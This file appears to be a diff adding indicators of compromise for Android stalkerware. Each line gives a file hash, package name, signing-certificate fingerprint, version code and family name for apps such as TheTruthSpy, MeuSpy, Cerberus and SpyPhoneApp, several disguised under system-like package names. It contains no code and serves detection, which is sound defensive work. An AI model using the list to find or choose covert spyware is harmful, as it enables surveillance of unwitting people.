+169c9e2ecc84db4f4728569ef4739d8e7f1fe698f548d7ecd1380729ac16b1cf,com.hp.vd,E0103BF20E95E826920A3F0F7B3BD03A899127D7,1,FreeAndroidSpy +6764aa0373ee0e54a05cc977cd9fcce2b8d364a7013d613b07ae0381b0e49feb,com.avi.scbase,934A3C0DC8912C4F2F8620F666FC7621BD7B97B8,31,pcTattletale +b8c2ac89c53954caf0fe4f80d69e4459fb2b1fe5eebf5153aac74c62930b2aef,com.google.android.bacfup,4474D3395029E6C6744A470EE5F2107DBAEF16A0,221031,Tracku +366b60fcbd0288e279b35f2a8c67a3cde5c5bdaa1ebfc17fd07b3dab3c03132a,com.android.wifi.tracker,DBA6211533A354E4BBF685A2EA458AC372C4ECE4,1,Trackji +9d4d4b4b9ad189292154f5e6fd4b0760c44d7241d1bbd5a1e179431e8919755b,org.traccar.client.hidden,AA752803419B66BC6D5CFCD61A7C88935FFE5511,36,Traccar +5668ce93a99eff4dea6366619e70904efb8d61082c3adf89020fc7582f14d9ca,com.backup.tt,34B791B5D35A874D189202EEA1FA99188F58A4C1,1,jjspy +3f3156ccccf63487b34dc4e0e7916f47ed9be5783a6adefb57911df784fc412a,com.cowdb.syuaxlle,1D29A39381604E33BEE73E50F1D257E47E122D8C,20420,MyCellSpy +89611aecf4d3780526391bafa07cea6f3588f30ddd587e7e239075e832778e5d,com.wzogle.zndroid.yacfup,6F1FDA1889463BFA646A950E49E121B7829A884D,221103,Tracku +144e86d35eb8d5f8d56dbb7a29d5d9c17726425bc639dec91c8ebaa80c15b120,com.shadyspy.monitor,91ED4F75A763A63471E1D1D39BA012DF867550D4,115,ShadySpy +9d2e139facfd7a455a7ae23db67b47e694e42db21bd7a4538b5f44a0a919058d,com.shadyspy.monitor,91ED4F75A763A63471E1D1D39BA012DF867550D4,116,ShadySpy +ac4d5c7dc1bfd8cb544360da6b48530d69f784132ed76e340f27d7f6c93db42d,com.w0f0,630BB83172B184A6571126229E2B2DCA2EB4123F,300,SpyLive360 +09b58d844b7c6cfb97f75efb2aa59ad10127fe33b178573260ee0032b5ef8791,city.russ.alltrackerinstaller,6EF8C27EBCF808FFA377A391DB9892B997AF16C9,14,AllTracker +c76a9f0999854fd7ff0aeeb52fa90a49c206d6d63386f7a4a63bf58119c8db1d,br.com.monsthers.gameap,8508603AE680C3BCDE91E6F909BF400F6DC878B4,510,MeuSpy +0565a08105be8401c46c73a7966de8cf842785671ab9a60beb2a8828b2ede4d4,com.app.com.app.com.app.aplintal,0AF3219D3A9525CB4A618215DB7A29CBFD9FFE78,510,MeuSpy +66c01bf7ce0c8c90b4f63ece8c024876360ac50e5cf0c2bdb166e30d0b52cad2,com.backup.tt,933C19015525266982AC6D830CB6B3D25079777B,1,jjspy +24bfa61267cc51de3b38e5d5f3361826b590ebcf380325ec42e5855785360269,com.lsdroid.cerberus,724C6500F11737C12C0B89185A60427989656697,283710,Cerberus +1724f15eb4e7c55a5bc7af6cdfe76bf6ae42c1a389e4a5b8f9cc42a535093dff,com.lsdroid.cerberuss,69C28343A4D0F2156D7B56AE4616E1386173A047,283710,Cerberus +41d1e4544ad4f6b01cae9ef7990b946f77d2bdf5ec2c76883a1e6952a193cf0e,city.russ.alltrackerinstaller,6EF8C27EBCF808FFA377A391DB9892B997AF16C9,15,AllTracker +1a7d82a0cfe4b34d1ba283747329a5e8d9e2040edb933740f3e02c5c82aaf8f1,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,9,TheTruthSpy +4d9a085fed94b853da3d5431144021fc7d602641472518c7e17d5cb9be03b64b,com.zofuponusa.zevaduzaqu,22C2C45ECA519CEAFF71EB72DC737A5770FF9C24,1,SpyApp +5ab4ff9f8028c02cbb0886922142227732cfe3aaec99af1a5af2ddb43b0fb5a8,com.vitefa.fosupevilucugo,F3E17DFDB98B1F7774A16967FD1D84D3D9D59389,1,SpyApp +0973b9ac9f3f5623a946581f9ec930b2d238572b46bf1281692fff7d088ba930,com.vudezilamoqo.voderuna,AEAE4881C3D3036C68737BA707D4B26806D49C43,1,SpyApp +989b759d28ac1243048475fecd2df3d2736fb5f2eab4387c4602be9acb55b877,com.babili.ribisosisubugu,37F0AADAE67E33A97A1469FFC7199F929862C6BD,1,SpyApp +b03ccd61218fe12013836e7eea0363b33ba0436c3319f04afd92ec807fa2e390,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,81,Traccar +42ed66d273af5dc96b305f761ad51cfda62e97c1bbc2daee812d75d8379aef25,org.traccar.client.hidden,AA752803419B66BC6D5CFCD61A7C88935FFE5511,81,Traccar +eac441660df55c3eeed1b091edd8b4be54d1bef625646f92ae6228fcd6c5c5f2,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3806,TrackView +f081ec912cdde8bec68b9a2456bf44d978e1119448a475b32ec7bd2f78680c15,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,9,TheTruthSpy +2f5c8ab957c6ff931c48b01a9615f1461b32c07885dfd6353947b7560300b162,cumvaygcz.mtecod,5586A06A3989BC761DF5445F9351725DE82FD6B1,1013,AndroidPolice +c9619395db1a3eed472b792cc62e216d72f4015c8d1e0de20f50e0aa5b74fb0e,br.com.galaxys.gameap,AF113D18054A6B8DE74644BCE3F0AE41206B16AC,512,MeuSpy +051e178449098ea7932917618c7587d54f18eab1d906febc193801d37e2b9caa,com.app.com.app.com.app.aplintal,0AF3219D3A9525CB4A618215DB7A29CBFD9FFE78,511,MeuSpy +b5cd3375434ab83a9edea2e4828f938cbf5790786dc786074c627e5fb74f8ba3,com.get.mtf,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,23,MobileTrackerFree +b8dc9a426cc79d3a50cf8349e722dbd568326b24bc2cce3dda286176fc9e24ea,br.com.galaxys.gameap,AF113D18054A6B8DE74644BCE3F0AE41206B16AC,513,MeuSpy +de9e773f9c03d53aab271188c5b317bec45d1049a06e0b8c167e5527a92ad7e8,net.homesafe,96A1F635F940D8D154FD42D550B6201B60692744,3809,TrackView +7ac709aa1616c2dfb604e2d14a2063e054356130ae04fe58ade6217c23e41a03,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,9,TheTruthSpy +aac13c7dec7b5acb804d4b896245962c395f1cd6dfce79bc9c96edcf65ae8e68,com.app.com.app.com.app.aplintal,0AF3219D3A9525CB4A618215DB7A29CBFD9FFE78,512,MeuSpy +c7345afb1644c57c16fa2a024a8e951c064ea194476e278e9fa6069720fe7e4d,com.wzogle.zndroid.yacfup,6F1FDA1889463BFA646A950E49E121B7829A884D,230308,Tracku +5eff9ed897b61e5a24251a3712d3cb65cecffbf9868f325fda965efe94f1f819,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,9,TheTruthSpy +63141fd14148ff8e6bf8f9bde95a84af28f1bec69c94c4d9442972bdffad6c92,com.my.spy.app,CCCD74B31E53685BFA5A23AD0AE020AF74689085,10,MySpyApps +a4208ab96617742bde0a508cfe53ee6ebaa68ea6c68153c73dd4b58bc7d10d4a,com.android.system.app,E458DC7CD8928A41865F502A884F0D51309E0BEF,152,OneSpy +0eb6c3e7fbc28493979d2d55b37b6f2246e48ba46cd990efd5fbdcb84c52e7b0,com.qzogle.xndroid.jacfup,5051413BB7C4931F5CD25260FFF173739CBE0F3A,230325,Tracku +7b5c0d9653e2335b4aaf7ec061cb496eb1334543afd01df032cb3cd751c41c73,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3809,TrackView +7bdd2fbd0ee1ef1ae88db3bd540aa3fd4bfd3d091aedfb4b60a2aa330e88af2e,com.qzogle.xndroid.jacfup,5051413BB7C4931F5CD25260FFF173739CBE0F3A,230325,Tracku +34a5ac46eb4168e04ea8c831c0ca9767242f0a4c1e95f9b33424a84b3492e1fc,com.android.system.app,E458DC7CD8928A41865F502A884F0D51309E0BEF,153,OneSpy +582e49883ee6aed53f5a7f423ac910c1b1f18f9eb19d07507c7b32d303d32c24,com.wzogle.zndroid.yacfup,6F1FDA1889463BFA646A950E49E121B7829A884D,230308,Tracku +f9bbaf4c8717e7dd0a034eeaa961b284d51667a5a85dfef8684a233097d5e441,com.qzogle.xndroid.jacfut,4140120093B5655CF559B2A786269CF3F82E3AE9,230412,Tracku +524df866d77cc37efd3aeddc925604fbba30166d8d94a3f812b781c8b33487cd,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,9,TheTruthSpy +0bf4bdb37d25bf92a1b76817e4f89c0b38c2146a116bdec836d588875cd36383,com.qzogle.android.jacfut,7A55C057800823F710BF32A7D9865B300777E2D5,230420,Tracku +dd13bb71747ded1984563dd50e237ebb51f3887c83b748d1751e33e683d8b19f,com.qzogle.android.jacfut,7A55C057800823F710BF32A7D9865B300777E2D5,230420,Tracku +7efa674b2a18fb7a62dea72b133a3f8892b419205852122be3b13f5a9b90f33e,com.my.spy.app,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,11,MySpyApps +9d8b5e70442a337f546e149aa4393ec8f561daa323fb17c3b9c3faa8071a6639,ubnwzwh.ygoifnzgy,945568E70E174AF928D97229DC926772D8E9BD43,1013,AndroidPolice +352070d3b4149fb4b28b030acfd60da0d143650eb643fd58ff12ddfc904f23c8,com.my.spy.app,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,12,KidsShield +0121e555be6023ef689f3f0c1a5c9b1941cff26d391eba2501738988b8ea5c18,br.com.gamelevel.playstart,A7E75010B3709D54D52CCE914AF06946744F5F67,515,MeuSpy +5809066a109718683fa1ffe3abcd0e6c9bd5f613279e081e31bc17e628d9bfba,com.my.spy.app,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,12,MySpyApps +b41f6dfb115e0bdf3fd8e860036b4e04432f1af43ecb9cccea78539e701c03a1,com.qzogle.android.jacfut,FEEF07EA18BA2EF7B75AD311F45A45AB4C1E8F0E,230505,Tracku +5aede95542d2ddbfaa828586f71e031227f40c98f9b2df7b1025ddb241ad638d,br.com.gamelevel.playstart,53486B8F8790D1848E0842F37B5C6DFA15CD3EBB,516,MeuSpy +7d3950ff132907afad5486bc56b2f6ed55ebd4253ddb8221053a0ba6ba27337a,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,9,TheTruthSpy +fee230123d03d9608afc1d89491dafab4d57b5c68a42315b97efd9ff6d1d8480,br.com.gamelevel.cloudv3,114C4DC0F254EFD81F0AC7F41DBE882FFDB2E127,516,MeuSpy +1c6d461732dfb332e6043d6ffcd364d03cd8b30980b4afa67d0ed1477d2ab9da,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,117,EasyLogger +40fbff552a9f4eb15f780bc4a7eba5db8a5aa167b4ec07e82593ce4aa56dcc19,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3812,TrackView +f7e3e1434a7701c49c0d07c88ecaad13df4d03e14a58da3937d0e5e278dc624c,com.get.mtf,8CED75E875A2F11B3327A73A6DBD0B25E26533F2,24,MobileTrackerFree +7ba7505b93e251ea5b32285b0da00ce741ee52472a4277e1321eb6de3c4371f2,com.tutorial.instalao,DD34B4E5125F07BA50738192FBE7B745785FC15A,1,MeuSpy +677b8600adf2c4e1f17963eaaf18d57881a6a0c2ef5323c7f145b113480040df,com.sec.provider.mobile.android,0DCD7C9CC6A76AD28D7D992C4EF3DF2F768EA473,132,MonitorUltra +200cf6e828ceecf44add627d97c0a893a517d8e318047b760c339b1572a0b303,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3818,TrackView +917e29ff91324a6c3630f0eb392a6d1a5c394d7112b35ef29e7cc0269e4c1445,com.android.system.app,E458DC7CD8928A41865F502A884F0D51309E0BEF,155,OneSpy +612683622ab49d8b52f893aa54b988e4badbcb4f0fae73d48c086e90f023d371,com.surebrec,C87A87F7F5EDE2D279DDA0CCDE55E6AB85549D70,283761,Cerberus +a05497647a879afec62bc7e916005f729fbfee48cfd56423481e0600061678b6,com.ssurebrec,52B12772C6558D6A44A2DAF9E18FFAE48C577CA7,333760,Cerberus +c29fef7ae07b6209b608bd91a9704594c587d7bb846181d3a8df7a37803f28f9,com.ssurebrec,52B12772C6558D6A44A2DAF9E18FFAE48C577CA7,283761,Cerberus +6a5ffa547d183b28055e5a06436339a01917733675ebe838a1807ee6e71a038e,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3821,TrackView +bb077a37f8e2e1c042a602d15c6368bbb63572fbd55b5f9af86f2714587f9d3a,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,10,TheTruthSpy +4c5a6bdab07dba57fe5536b23995fc1ddf117a238b74ade99acd26a2bf545be8,com.alienmanfc6.wheresmyandroid,F8FC21D0709C3C0A3E4FBA81D24AB50979F25C19,1177,WheresMyDroid +c528a0ff3c23402f2e9e0e63c70019d4b5c6e62d0c6b65a36d651d4bf6446474,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,11,TheTruthSpy +69260764e600edd5fbcde910809edea7d4f3f07840464b357a38ddaf2b73922d,iiw.orqjtwbkx,4591BD0E4CBE86FD7510F1427BA6538BB269AE4D,1013,AndroidPolice +8deb08872530d53c9e0083c44f721a36418027f9f7fdf9b5594a85b14219e1b2,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,11,TheTruthSpy +7fc24cd57718395ac45c0e529098cee1041e866c5504277f5ab9a02c2824e5b6,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3826,TrackView +a9147f641d3a8799e51f2b5164e2a481b2c2b0ef4baae28edbbcc7f7b7536d13,com.aisistem.instalao,50CADBA5487E7C00D67C8FF0D3A952D7B62BEE9A,1,MeuSpy +72590b59664bf215bd407f46b5296cdd33db7721a77f5e80d23f61b73ce984d3,com.android.system.app,E458DC7CD8928A41865F502A884F0D51309E0BEF,156,OneSpy +87396d68345c4d7825be02221868f3897e11333afd0fb2b4f8070d8ba8765e80,br.com.appfornecedor.legal,B9F546776987F0F2FF893325D2CCDF7F62F0D56E,1,MeuSpy +abd7c2b08c1393f7eb64d4170ef995b24cb09922ac62e4f4bdf50353f1bc703b,com.systemservice,F9181C6CF9AACB3AB1092F5338C3198A8D833431,11,TheTruthSpy +c2833508b73244a5c6be1d0f047037951edf3f50719bbdcc9e3fa593211061b7,efexmsz.mzuooelftl,DDE822BAF53EF55C49096E866A995464CECB8B1C,1013,AndroidPolice +53a15a6b11b22fddc10302414bbbf82eb66278c1801e359d25fc8778b4288dd8,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3827,TrackView +74e9fc0b284376675e3646f7503c131802afcc1d70c245d1c668ed3b25c158fc,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3832,TrackView +1b40adeb96e1a73e51ff035ae28b26dfe9e4376f49bf57d3d19d44a8bbf91746,ljyhiftvq.fyhmno,2ED5C9C22C086E420EE76BF43B152218AEBD53D0,1013,AndroidPolice +5c2405e04fc52f07816c9795fd1a7cecf6596e765d3070bab1b33f3a84f2b115,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3833,TrackView +5b418fa0e2b1945c266876821c872e22dcceafd99370bbe9f4df398f0a4f4eaf,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3833,TrackView +163bfe0ede186459a3d2724aa061fb41eb7db8a2c10b0ccf24083a5d087a3a1c,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3834,TrackView +2ff63d76dd3867b5b500331e32a5e5444ae4fa8578d690edfc24ab2b87708d86,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3835,TrackView +270d497ee41c6864c0a48dadc8e5552b236cb3caf75d963c23cc8a446de49464,fyfnlvlf.rgcvoviyid,D78BADD70F975B500B6FC1CA30833BDFE894391C,1013,AndroidPolice +7011276fac608fc992c53424155de6df6bb2be48fb5273d82bf3b6fe5f958231,net.homesafe,B14E50E56D5D483031137FD247D4A5466D0E61B4,3836,TrackView +784d9b9a88a2ce953b5bf25873af3bf3758198dd4cbfa3f51b06e5ab98a9b2f7,com.alienmanfc6.wheresmyandroid,F8FC21D0709C3C0A3E4FBA81D24AB50979F25C19,1194,WheresMyDroid +1c464086f6e97b76aba19703fafb6b97adb3aaff5663ce8b766c6951f8cd0d55,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,82,Traccar +b4c657112fd4ee0d790d3b0426612d595b3a37ceb969e3f0257d7dcf7681bf75,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,83,Traccar +2de500618c8ba340dbbe615cef8df65d9864e8b6bee7fa78c16421a38b1bd185,com.mtf.download,09273A6004A46078991F3FBA2A4868DA26DBB508,25,MobileTrackerFree +e1553112e4e158fdbb73bb698d222d49be9b13f98aeef543e9c5bee91f028fe6,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,140,MonitorUltra +d919252d2e7f7430c647bfb37ebf073ff1cc0934b1530de0a664f7a01563c69f,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,118,EasyLogger +265a0c96a6289c3273d24fec06d674ea07c7b729301b9ff3bbf2748c15777e4d,sesqzh.sggzey,9BA047FECD0C856A27ACF0D7FDFA0FE7C91DB3A8,1013,AndroidPolice +23087de9decec4839758a8877d352c9607a8191724703f21cde6e6b2cb4cd04c,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,141,MonitorUltra +5f830ca263271deb676bc8ba77d7ecc5cd3c0731f7e01b9050fbe6f20066c47b,gvhy.xmlhefy,1DB69267F871DDC8802392AE8905AE265FC30DBA,1013,AndroidPolice +73a27b8b13e8ba34dd63f6e318fd37d6562a54a494591ad40e5ce3f72554ec22,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,142,MonitorUltra +36c88f69c322dbd254d3bc450233c0cb4da2d9ad9e612d77aa11187020275129,itgfn.lqugctafitpe,009CE3E5403283EEE9AE7ED926ACB6093BFD8597,1013,AndroidPolice +4b38232db89ffc202f41fee493a84b056f1115339439efb6635d170e05bfa85b,iznobhuck.ntcrxlglq,74C73A3197E330EF219EBCEDE574C40BACA60BCA,1014,AndroidPolice +e1373c0b0e89b895bba9d86c720f715419a98e4047c12ab6c68dc1dcbfdc7f62,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,119,EasyLogger +21bd09751a26551ada2579be19ad3d935897a7496a61d2aa9a3e0d8f746e0bfb,com.fhekpqbq.otlzonjx,77C411957F307F6B971C7C07825CA5EA06F0E36D,1,KidsShield +260fd6458a4bef8c2a6075e70cedd745500cb08e249596f69499c6d8062d30fb,com.tivxneso.bhduhugy,040EA23432A99CF75FAEF1298A67BDC51F26C4FD,1,KidsShield +4329a83ac3ee06380b6e938561b66ec344aa7f2f10184732086324a60096de3f,com.ppjlmwis.mwoyklts,7126E9BD1292B662900295D70C8F6E630339298D,1,KidsShield +3540915b4d51619ac361012d1dc9065da85d713adc14bd9ce82bf92a16921c83,com.twamkhhm.pjupawot,B85BC5B6C367539189CBEFE5F8537105FA2923D7,1,KidsShield +bff0087b9e9d47e64841c0fd32d89c521d1ff4065d695472c7c107ef620ac9ba,com.systemservice,5E3C376B52C672C81439358DE6348F25F96EAAA4,11,TheTruthSpy +f0d800da07e8fe628e28b428cf07910dfc4975e76d6120e7eab3ae0ca77d178e,com.jlxmpcuf.hoiacxkl,200DB02763431E6057B5E4A56734B9B64DADE9F1,1,KidsShield +7c77e0e7ebcc9ee4e2869de81b711fd1531f5c2e59ca63d5a31180d6b8867c83,com.msxjmqfy.igdzmeyk,72070D4F5F567B7053C189AE5ECBFF69EBC878F9,1,KidsShield +0d8befa2d86f456dcaea8e14ed3d3d84fb3f523eb1168530660027be6bbc516f,com.odkaxsul.gpnwsxhb,C3A79C3B04DE2A293779A3C7631488B0062D34A6,1,KidsShield +6036c7a66bfc662470d6cf33890a4b8921fa0cb373dedb398c11b7ebe4d35d46,com.zkfzumps.ngrpdoxs,54B639D90B09137403D3BDDFAF20F459CB7E7042,1,KidsShield +bd668d5caaf95f9888b0ff7973f58ba819693dff60aac0ef09f1a2702de4aeca,com.fp.backup,F6422B9D4DD3C7370E3ED2879EA4DC8F463CD2A2,1,FlexiSpy +551d61685f69372204f69da1394b4155a4f732d5a4ff5bdb67f11ae7a8e7ee50,com.thaxygpc.xjsjobpn,6041F01561EC43309CCC8452719C4F515C32F3C2,1,BrunoEspiao +3b2749bfd91ab0a27ef988b84aeafbca81d4d9f3d63ab7e594655b266f27a30f,com.nhevvtmt.thinkquo,A1AA4CD5B6CDBD906E3B27A7D1FA42EA2416ADC3,1,BrunoEspiao +fd6bde3e80d94323ac7c60479df16a2ffbc1a6d7ff0c4c9feeff670af9e26e20,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,88,Traccar +e48e0a6c56c655cb8027e3b7c405c5521f6867bc4835eeea6bfb2da13aecd5b4,app.ELogger,35D7CF057BFA5023CE739A725ADA0DA1FD34D1FF,111,EasyLogger +5246c3b5d4ce006bb4295eebf3f836693623ef7769c3f0aab219b2c0902a9d1a,com.alienmanfc6.wheresmyandroid,F8FC21D0709C3C0A3E4FBA81D24AB50979F25C19,1199,WheresMyDroid +66e5fdd27e3e9854385af877179ff9573db9d29927582cd40f19f364cb1b681e,app.EasyLogger,53FADDAF873B7BD00E5AD9F5F05E7888A398CE70,120,EasyLogger +833e332dc7a23004cf9da9714c7d4522571617c174f654957c173ebcc74ede67,com.mtf.download,2A84B79A7E17E1F49642E8D5EA9828CFEA763E8C,26,MobileTrackerFree +137153826c66a28b21ed23a7be8857da69af45fba8a7cd126937674069f03336,com.laucass.androsmscontrol,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,240,Spyone +3d37aa0d8937c4c2e3b1d65afb5be94cf901c4255750c98b4b44489e5455367a,com.laucass.phonecontrolenabler,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,100,Spyone +4bcb6951c5f78c646c19771ff58c2ea749e734ae3fa916f130aeee8e083ca2e4,com.juzyuwqt.thxxnjvf,317A9577A5B2D0930D06E0D8D7427E2F8FCAD29D,1,Spyone +54583791e1d906c2f77b10feec1d842ddb8afebc14f4ceec0483e89fccd194e9,com.epasufob.kybavfgt,D2A84922F8F747FD7582EFEF4189E06897FA8839,1,Spyone +e4d7484b888deceefeb17ee346821a0c9d3112dffd5ad57c71f4df7d304580b8,pl.spyone.agent2,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,1,Spyone +c816d7513cb36becac080698ee3937bccfc5f8f3b2b0a436c8b46f7f0635197b,Aktualizacja.apps,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,33,Spyone +7b9ce40a5db59d489387d2f0cf3ef0a058b5a7cccb1dfeca54e4d1f30e46dd1c,fka.ugsonrqogw,BEF28CC19ADFBEADC95137A2BD5035B6046666E9,1014,AndroidPolice +5ee8934d85e2bc263bbe91bae8c202f6ff634c69f77e001eb98b3f7be05d8336,com.kfhdha.fkjfgjdi,60DA6A5B04C0100DFCE1213C850EFBDEB0D1E8D7,1,EspiaoAndroid +dc4efa3286518427ea1e14e1b614783b044e59ffa4e00abf609fef1f9f96b054,com.mtf.download,2A84B79A7E17E1F49642E8D5EA9828CFEA763E8C,27,MobileTrackerFree +92c3337b3d74f2aab8f0ca3a6f045719a3301519810d535856ff11dd743b523c,com.systemservice,5E3C376B52C672C81439358DE6348F25F96EAAA4,20,TheTruthSpy +d63cdd585d86beebfba2f6a660851b685e05e7326f966949f7c33995919c4cfd,m.mobile.control,C270531A6D75EB4EA2AA0F4D6DF2980AFB494CB3,312,SpyHuman +450173140bbdc6f8ba40d8e2c29b42a93c189c34c19829881097e8f0d56ac760,binbu.pjyvmek,E6F85CAB3903304DC16197B7EDA8F67ED6D65A1A,1014,AndroidPolice +268eea5eecf51d1013e63fbcd3c690a222366d5a73493e76f570fbf106b4d1e9,com.protect.download,2A84B79A7E17E1F49642E8D5EA9828CFEA763E8C,31,MobileTrackerFree +864afc39b095d481c983b011e85768a424027af1ceefbdcaeb552b9dcdec2592,com.protect.download,2A84B79A7E17E1F49642E8D5EA9828CFEA763E8C,30,MobileTrackerFree +70143655cc7708c79f29ff9b9a3f89c2183d4276a3515ea0d8c75c93e60a236c,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,144,SpyPhoneApp +20a6671a0b5afde14124863de5f6ed10331beb7bebb5edcd991c8865f0d7c456,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,38,SpyPhoneApp +503c6d96d8a31c05aadd8b28574e191065584fd06416b497b6e5681cfb7e536e,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,97,SpyPhoneApp +93885d2f83497ad7b6114f0f0a7e148911e867d4c51618cd4dca6fd326b918e1,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,40,SpyPhoneApp +06f0398d3336b156fe9fea954f5d46342dff31b9c6d5799cd8fce548f06f06f2,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,39,SpyPhoneApp +5ef36ee6bce11c71e3052499d2a270bb772f6f151fb642e0880130587b11d9b0,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,187,SpyPhoneApp +70b6efec4008204b14118253ed9357add27dea0404c468c417bf02b86159ae08,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,37,SpyPhoneApp +7ee3060ca4c7a9606cbd67fdbe3a9c41ba5e41bfac2718674610c0ed9a156afb,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,31,SpyPhoneApp +8cfd949b8cd102676ce9f5e6fccf49fa0902e833df962568f4cf1784269cf00c,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,34,SpyPhoneApp +2ae0373c2ae106c51526a075cec95f3a409d06254354c009ddd954ae570b6c4c,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,30,SpyPhoneApp +83961bc4a51c96da4c34c36abecc33cdebca69ddda8ae42447c9877b2159d16e,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,30,SpyPhoneApp +918613502256a1e72261abaf392c1b19720d6667fdb5eabfd937c8a2a3411e29,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,180,SpyPhoneApp +00dbf6f340048b3ebd087b3b34b582f2875b4fd8ba9b16361db0cd07e7021232,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,28,SpyPhoneApp +b65ae109aded97d82dfe6c7f7af2c128efc8ce12b240ae429a135eaabb2c13dc,com.sptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,84,SpyPhoneApp +81e5760591786510e8828ca988b429209ebc3a0feeb8a20555fe76c6bb91a142,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,41,SpyPhoneApp +946bb191f66732fe679ef8288479be63976148e3d980ca2987ddc6661f0e5c47,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,19,SpyPhoneApp +5e41a3ddd8a52d5c6f3e8896df74b5ea81f27b83dad1e79dd49e32910306b816,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,24,SpyPhoneApp +ba5904684801434db9ee1fbf510c36ac8b4384e089b42b8fd2acc548c8f93b0b,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,4,SpyPhoneApp +bdfed5002e08698d298b57ffaef71b1b2cf35f56c8a03c4b584cb5bc1496fc53,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,14,SpyPhoneApp +e36337275d56f7b6246811a00e4c8f2299b1ce8e61babca980d49f7e0b318742,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,12,SpyPhoneApp +cfdbae49c7ce9891cec42dfc398177ae96209ba56dca89c6f1da4129070cdd93,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,79,SpyPhoneApp +acd51f141d10b99bc46b00e010162f95f2065f39174c1df1da1041b7e27d425c,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,82,SpyPhoneApp +3c548cf4c04595df7ceb97df200761129f015b79f492ec113cffb65c4fa5f959,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,135,SpyPhoneApp +df07566ebdc1021800a7639e3ad660d2341abe7f0be0c5796a37ad69b1596448,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,138,SpyPhoneApp +0112940541de66530817ba9656182b5ed49f3ae0e50df6cd4e354548386071d0,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,53,SpyPhoneApp +e622fa66a216b80611144c0970acfa5cafd8b58afa9bca572cfd0f6f2f713a5b,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,130,SpyPhoneApp +4a95ec284092542620ecd963ce38d90b251165bcd9574130843fce4a6f857de4,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,55,SpyPhoneApp +ec3cfd829d6579edb1b3ce4cc944442c6a52473da0ef52b82565a3da5a5d7e47,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,58,SpyPhoneApp +6ac161c2ade0ab256c3f5854fcf45264048c050417f488741b1c1d9ffb9ea98f,com.sptrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,40,SpyPhoneApp 